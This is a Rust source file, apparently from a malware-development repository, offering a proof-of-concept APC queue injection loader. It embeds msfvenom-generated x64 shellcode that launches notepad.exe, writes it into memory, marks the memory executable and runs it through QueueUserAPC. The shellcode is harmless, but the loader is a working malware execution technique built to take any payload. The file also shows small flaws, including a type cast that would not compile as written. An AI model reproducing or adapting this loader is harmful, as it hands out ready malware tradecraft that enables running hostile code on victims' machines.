apc_queue_inject_new.rs

/*
    New Update APC Injection POC 
    For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
    @5mukx
*/
use std::ptr::{copy_nonoverlapping, null_mut};

use winapi::{
    ctypes::c_void, 
    um::{errhandlingapi::GetLastError, 
        memoryapi::{VirtualAlloc, VirtualProtect}, 
        processthreadsapi::{CreateThread, QueueUserAPC, ResumeThread}, 
        synchapi::{SleepEx, WaitForSingleObject}
    }
};

// writing function call 
unsafe extern "system" fn function(_content: *mut c_void) -> u32{
    SleepEx(0xFFFFFFFF, 1);
    0
}

#[repr(transparent)]
#[allow(non_camel_case_types)]
pub struct THREAD_CREATION_FLAGS(pub u32);

macro_rules! okey {
    ($msg:expr, $($arg:expr) ,*) => {
        println!("\\____[+] {}", format!($msg, $($arg), *));
    }
}


macro_rules! error {
    ($msg:expr, $($arg:expr), *) => {
        println!("\\____[-] {}", format!($msg, $($arg), *));
        std::process::exit(0);
    }
}

fn main(){

        // msfvenom -p windows/x64/exec CMD=notepad.exe -f rust
        let buf: [u8; 279] = [
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
            0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
            0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
            0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
            0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
            0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
            0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
            0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
            0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
            0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
            0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
            0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
            0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
            0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
            0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
            0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x6e, 0x6f, 0x74,
            0x65, 0x70, 0x61, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00,
        ];

    unsafe{
        let h_thread = CreateThread(
            null_mut(),
            0,
            Some(function),
            null_mut(), 
            THREAD_CREATION_FLAGS as u32, // or just 0 is enough !
            // 0,
            null_mut()
        );

        if h_thread.is_null(){
            error!("Unable to create thread: {:?}",GetLastError());
        }

        okey!("Thread Address: {:?}",h_thread);

        let address = VirtualAlloc(
            null_mut(),
            buf.len(),
            0x1000 | 0x2000, 
            0x04
        );

        okey!("Allocated Address: {:?}",address);

        copy_nonoverlapping(
            buf.as_ptr(), 
            address as *mut u8, 
            buf.len()
        );

        let mut protect = 0;
        
        let virtual_protect = VirtualProtect(
            address,
            buf.len(),
            0x40,
            &mut protect,
        );

        if virtual_protect == 0 {
            error!("VirtualProtectEx failed : {:#?}",GetLastError());
        }

        QueueUserAPC(
            std::mem::transmute(address),
            h_thread,
            0,
        );

        ResumeThread(h_thread);
        WaitForSingleObject(h_thread, 0xFFFFFFFF);

    }  
}